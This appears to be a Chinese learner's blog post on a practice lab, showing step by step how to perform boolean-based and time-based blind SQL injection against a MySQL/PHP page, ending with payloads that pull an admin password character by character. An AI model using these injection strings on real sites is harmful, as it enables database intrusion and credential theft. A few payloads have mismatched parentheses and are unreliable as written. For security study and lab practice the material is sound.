注入学习(3) Mysql+php注入基于bool和时间的盲注

时间：2019-06-02 00:54:18 阅读：137 评论：0 收藏：0 [点我收藏+]

练习三：Mysql+php 基于bool和时间的盲注

今天要用的函数（详细的直接看链接）：

left()函数：left()得到字符串左部指定个数的字符　　left( string, n ) #string为要截取的字符串，n为长度

limit()函数：标准定义找百度　　limit(a,b) #我的理解从第a个位置，截取b个数据

if语句/if()函数：在MySQL中语法如下　　if(a,b,c) #如果a为真，则if()函数执行b语句; 否则if()函数执行c语句;

sleep()函数：函数代码执行延迟若干秒;

　　##链接在这里 https://blog.csdn.net/alex_seo/article/details/82148955（布尔盲注）

　　　　　　　　 https://blog.csdn.net/pygain/article/details/53086389（时间盲注，这个其实都包括了）

　　　　　　　　 https://www.cnblogs.com/lcamry/p/5504374.html

##感觉函数越来越多，想写一篇整理，不知道会不会写哈哈

基于布尔的盲注

1）因为是靶场所以肯定是可以注入的，直接判断当前数据库长度

/index.php?id=1 and length(database())>3 正确
/index.php?id=1 and length(database())>4 错误
#数据库长度为4

技术图片

2）猜解数据库名，为test

/index.php?id=1 and left(database(),1) >‘s‘ 正确
/index.php?id=1 and left(database(),1) >‘t‘ 错误
#第一种方法，用left函数，数据库第1位为t
/index.php?id=1 and ascii(substr((select database()),1,1))>115 正确
/index.php?id=1 and ascii(substr((select database()),1,1))>116 错误
#第二种方法，用ascii函数，第1位ascii编码为116，即t

技术图片

3）判断有多少个表，再判断表的长度，最后猜表名，找到比较敏感的就行

index.php?id=1 and (select count(*) from information_schema.tables where table_schema =‘test‘)>1
#判断有多少个表，判断方法和上面一样，数据库名字要带‘‘

index.php?id=1 and length((select table_name from information_schema.tables where table_schema=‘test‘ limit 0,1))>4
#判断第一个表长度

?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=‘test‘ limit 0,1),1,1))=97
#猜第一个表表名的第一个字母，这里第一个字母是97那应该可以猜到是admin

技术图片

4）然后判断列名长度，猜列名，操作和猜表差不多，附上语句，最后出来是username和password

index.php?id=1 and ascii(substr((select count(column_name) from information_schema.columns where table_name=‘admin‘)=8
#判断列名长度

index.php?id=1 and ascii(substr((select column_name from information_schema.columns where table_name=‘admin‘ limit 0,1),1,1))=105
#猜列名的第一个字母

5）猜解字段，挨着找直到找完需要的

index.php?id=1 and ascii(substr((select password from admin limit 0,1),1,1))>100

技术图片

基于时间的盲注

#时间盲注中返回的页面都是一样的，我们利用条件语句if()，配合sleep()函数通过页面返回时间来判断操作是否正确

#基本操作和布尔盲注差不多，就是语句构造变了一哈，图就不整了，附上语句

1）判断是否存在时间盲注
?id=1 and if(ascii(substr((select database()),1,1))>10000,1,sleep(5))
#如果返回错误，sleep（5）秒
2）判断数据库长度，数据库名
?id=1 and if(length((select database()))>3,1,sleep(5))
?id=1 and if(ascii(substr((select database)),1,1))>100,1,sleep(5))
#判断出来是4，数据库名test
3）判断表个数，长度，猜表名
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘test‘ limit 0,1),1,1))>100,1,sleep(5))
#和前面差不多，这个就贴个猜表名的，猜出来还是admin
4）判断列长度，猜列名
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name=‘admin‘ limit 0,1),1,1))>1000,1,sleep(5))
#同上
5）猜解字段
?id=1 and if(ascii(substr((select password from admin limit 0,1),1,1))>1,1,sleep(5))
#需要的信息弄完了就够了